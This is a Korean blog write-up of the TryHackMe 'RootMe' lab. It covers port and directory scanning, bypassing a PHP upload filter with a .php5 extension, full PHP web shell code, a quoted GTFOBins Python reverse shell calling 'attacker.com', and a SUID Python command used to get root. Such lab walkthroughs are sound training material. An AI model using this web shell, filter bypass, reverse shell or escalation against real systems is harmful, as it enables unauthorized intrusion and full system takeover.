TryHackMe | CTF

TryHackme | Rootme write-up [모의해킹] [ctf] [트라이핵미]

건우Sec 2024. 9. 1. 18:31

TASK 1. Deploy the machine

 

TASK 2. Reconnaissance

 

1. Answer : 포트수가 얼마나 있나요?

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)

 

22tcp/80tcp 가 열려있다 그러므로 총합 2개

 

 

2. Answer : 현재 apache 에 버전은 무엇인가요?

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)

 

버전 : 2.4.29

3. Answer : 22 port 에 어떤 서비스가 동작하나요?

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

 

서비스 : SSH

( 현재 머신 IP 주소 웹 페이지에 들어가주세요 )

 

gobuster 이라는 툴을 사용해 웹서버에 숨겨진 경로를 찾으라는 문제.

 

gobuster dir -u [IP] -w [wordlist] 

 

/uploads              (Status: 301) [Size: 314] [--> http://10.10.119.54/uploads/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.119.54/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.119.54/js/]
/panel                (Status: 301) [Size: 312] [--> http://10.10.119.54/panel/]

 

현재 경로들

 

파일을 업로드 할수 있는 웹페이지를 발견하였다 

5. Answer : 숨겨진 경로는 ?

 

 

TASK 3 Getting a shell

 

1. Answer : 업로드 페이지에 웹쉘 WEB SHELL 활용해 플래그를 얻으시오.

 

Web shell 을 활용할려고 php 파일을 넣어봤지만 php 파일은 막는다.

 

하지만 "php 파일만" 막는것이지 

 

.php3, .php4, .php5, .php7

 

이런식으로 우회가 가능하다

php 기반 리버스쉘 만들기 

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

 

 

php 가 아닌 php5 로 저장해주면?

 

 

성공적으로 올려진다

 

경로 /upload/

.py 는 무시하고

 

우리가 올렸던 php 리버스쉘이 보인다.

 

클릭해주면

 

 

이런식으로 cmd 명령어 창이 보인다

 

cat /var/www/user.txt 경로로 들어가봤더니

 

flag 가 떳다 !

 

TASK 4 Privilege escalation

 

이제 웹쉘을 이용하여 root 로 전환을 해야한다

 

1. Answer : SUID 와 관련된 웹 디렉토리를 찾으세요

일단 SUID 가 뭔지부터 알아보자

 

그렇단다

 

루트 전환을 할려면 SUID 명령어를 활용해야 하는데

 

https://gtfobins.github.io/gtfobins/python/#suid

 

python | GTFOBins

Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s

gtfobins.github.io

 

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

 

리버스쉘이 아니라 웹쉘로 해버린 실수를 해버렸다

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

 

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell

Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.

github.com

아까와 똑같이

 

 

 

/uploads/

 

자신이 올렸던 리버스쉘 php 클릭

 

성공적으로 됬다

 

python -c 'import pty; pty.spawn("/bin/bash")'

 

처음에 왜 안되지? 했는데 알고보니

 

 

그랬다고 한다

3. Answer : root.txt

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

 

whoami 를 치니 성공적으로 root 가 보인다

 

성공적이게 해당 ctf 문제를 풀어버렸다

 

총시간 : 1시간

 

리버스쉘 부분에서 애먹었다;; 웹쉘인줄 알고 했더니..